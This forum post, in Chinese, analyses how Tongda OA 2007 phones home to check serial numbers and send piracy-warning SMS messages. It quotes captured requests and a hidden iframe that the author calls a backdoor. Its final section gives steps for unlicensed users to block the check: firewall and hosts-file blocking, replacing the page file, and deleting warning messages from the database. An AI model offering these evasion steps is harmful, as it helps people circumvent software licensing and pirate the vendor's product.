TA的每日心情 | 开心 2012-5-3 09:58 |
---|
签到天数: 215 天 [LV.7]常住居民III
|
TD发现盗版、短信警告的机制原理大揭秘!!
很多使用过TD2007的TX们都遇到过短信警告盗版的问题,很多人都在困惑不解,它是怎么知道的呢?有人说放在内网就没事了,或者在服务器上屏蔽他的网站就行了,真的有效吗?且往下看绝对原创:
<< TD发现盗版、短信警告的机制原理大揭秘!!>>
大家都知道“系统管理”中的最后一项“系统信息”,点击后会出现系统的相关信息,包括到网站验证序列号、查看网站公告信息等,很多人以为只要不点击那些链接可能就没事……是吗?
错!!通过网络监控可以发现,当你点击打开这个页面的同时,页面已经发送了往TD网站(211.144.136.73)的数据包,本人经过抓包粗略分析发现,开始时自己的机器会请求对方的80端口,三次握手建立连接后你的机器会毫不犹豫、迫不及待地向外发个大包,数据通信可谓是一来一往好不热闹啊。
大家最关心的肯定是他们都说的什么啊?从中挑一句最关键的给大家透漏一下先:
--------------
GET /dns/user_reg_info.php?REG_DESC=%5B%B2%D9%D7%F7+-+2007%B2%E9%BF%B4%CF%B5%CD%B3%D0%C5%CF%A2%5D%0A%0A%B0%E6%B1%BE%BA%C5%A3%BA3.1.070125%0A%D3%C3%BB%A7%CA%FD%A3%BA1%0AIE%B1%EA%CC%E2%A3%BA%BD%F6%B9%A9%B8%F6%C8%CB%B2%E2%CA%D4%CD%F8%C2%E7%D6%C7%C4%DC%B0%EC%B9%AB%CF%B5%CD%B3+%0A%D6%F7%BD%E7%C3%E6%B1%EA%CC%E2%A3%BA%D0%A1%C8%CB%B2%BB%D2%AA%BF%FA%CA%D3%CD%F8%C2%E7%D6%C7%C4%DC%B0%EC%B9%AB%CF%B5%CD%B3%0A%B5%A5%CE%BB%A3%BA%B8%F6%C8%CB%B2%E2%CA%D4%D3%D0%CF%DE%B9%AB%CB%BE%0A%B5%E7%BB%B0%A3%BA119-120-110%0A%B4%AB%D5%E6%A3%BA001-911%0A%D3%CA%B1%E0%A3%BA88888888%0A%B5%D8%D6%B7%A3%BA%D2%F8%BA%D3%CF%B5%CC%AB%D1%F4%C7%F2%B3%E0%B4%F3%B5%C088%BA%C5%0A%CD%F8%D6%B7%A3%BAwww.wc.com%0AEmail%A3%BA%0A&UNIT=%B8%F6%C8%CB%B2%E2%CA%D4%D3%D0%CF%DE%B9%AB%CB%BE&PORT=88 HTTP/1.0
======================
?????什么东东??
熟悉网页和编码技术的应该能看个大概了吧?真的看不明白?那就看这里:
------------------------
GET /dns/user_reg_info.php?REG_DESC=[操作+-+2007查看系统信息] 版本号:3.1.070125 用户数:1 IE标题:仅供个人测试网络智能办公系统+ 主界面标题:小人不要窥视网络智能办公系统单位:个人测试有限公司电话:119-120-110 传真:001-911 邮编:88888888 地址:银河系太阳球赤大道88号网址:www.wc.com Email: &UNIT=个人测试有限公司&PORT=88 HTTP/1.0.. GET /dns/sn_check.php?SN=TD20F-1980629C-CLRD&UNIT=个人测试有限公司&PORT=88 HTTP/1.0TONGDA
===================
也就是说你的机器通过网页代码已经出卖了你!信息归纳整齐一点就是:
-------------------------
GET /dns/user_reg_info.php?REG_DESC=[操作 - 2007查看系统信息]
版本号:3.1.070125
用户数:1
标题:仅供个人测试网络智能办公系统
主界面标题:小人不要窥视网络智能办公系统
单位:个人测试有限公司
电话:119-120-110
===================================
这下知道TD怎么知道你的信息了吧?
那这个信息到底是由谁发出去的呢?服务器?客户机?服务核心程序还是页面文件?
下面来解释这个问题,我们这样来操作:在“系统信息”的界面上点鼠标右键,选择“查看源文件”,你会得到当前页面的htm源文件,注意看页面最后有一个隐藏的iframe:
<iframe src="...................." width=0 height=0></iframe>
其中的链接还是指向当前的页面,只不过带上了参数!
实际上当前的页面的这个文件:/general/system/reg_view/index.php可以接受两个参数:?check=1和?check=2,1用来向
网站发信息,2用来显示本机系统信息。自己可以在自己服务器上分别测试一下就会得到这样的结论了。
那么,在客户机上访问的时候会是什么情况呢?是服务器还是客户机向TD发这些信息呢?据我的测试,大家尽可放心,这都是在服务器上发的,否则,去封每个客户机就麻烦了……
如何不让它发这些信息呢?简单的保险方法就是把TD的网站屏蔽掉,但你会发现每次访问这个页的时候,半天不再响应,那时因为它一直在等待TD的回应;这种方法要是TD换了IP就不行了;也可以把这个页面文件直接替换掉,但不知道会不会出现别的问题,目前还没见哪位TX说有问题。
另外,到此为止,它还没有自动发送你的序列号给对方。
--------------------------------------------------------------------------------
书接上回,继续分析:
据我的监测,这一点TD做的还算大家风范,在你点击了“到网站验证的时候”,才发现发出了这样一个包:
"GET /dns/sn_check.php?SN=TD20C-19******-FDRL&UNIT=%B8%F6%C8%CB%B2%E2%CA%D4%D3%D0%CF%DE%B9%AB%CB%BE&PORT=88 HTTP/1.0"
大家应能看出来,意思就是把你的序列号、单位名称和端口号发给了TD,为什么要发端口号呢??对,就是要给后门做准备了!
接下来,TD会返回你是错误序列号的信息,并提示你的信息被记录等等,这些显示的内容都是从网站返回来的信息,其中大家最关心的最黑的就是这一句:
……<divalign=center><iframe src="http://www.tongda2000.com/inc/address.php" width=100% height=1000 scrolling="auto" frameborder="0"></iframe><iframe src="/inc/reg.php?MYOA_PASSWORD=qiqi&SMS=1" width=0 height=0></iframe>. </div>.<br><center><input type='button' class='BigButton' value='返回' onclick='history.back();'></center>.</body>.</html>.
大家看明白了吧?红色部分就是我们最关心的后门,以一个隐藏的iframe出现的!!关于这一点,其他文章已有说明,此不赘述。
这些数据是从服务器上抓包得到的,这样分析是技术性强了些,但可以弄清这些数据到底从哪里来的;感兴趣的TX可以自己抓包看看,比较简单的免费工具象Ethereal就不错,不过是E文的。
还有一种简单的方法让大家得到这些信息:在验证完后的界面上点鼠标右键,选择“查看源文件”,你也可以看到这些东东!
-----------------------------------------------------------------------------------
另一个问题:从客户机访问会怎么样呢?如果屏蔽了服务器,客户机上用不用屏蔽呢?
不知道有没有TX研究过这个问题?初步实践发现,大家不用担心这个问题,因为通过测试,在客户机上进行同样的操作时,客户机上并没有去访问TD的网站,而恰恰同时这个访问仍然在服务器上进行了!包括“查看网站公告信息按钮”、“通过网站验证……”等都是在服务器进行的。而只有“服务中心”是在客户机上进行的连接。
------------------------------------------------------------------------------------
最后一个问题:解决方法:
解决方法很多文章中都提过了,既然有TX问,那就一并归纳一下:
1.利用服务器的网络防火墙软件来屏蔽TD的IP,需要注意的是防止TD变化IP地址;
2.利用本机的Host文件屏蔽TD网站域名,需要注意的是防止TD变化域名;不行来个双保险,呵呵。
3.如果上面两招屏蔽后还出现警告短信,还有一个比较笨的但比较有效的终极绝招:就是利用代码,在每次读取短信信息之前查询一下数据库,看看有没有这条短信,有就把它删掉!虽然被动,但绝对有效,呵呵!! |
评分
-
查看全部评分
|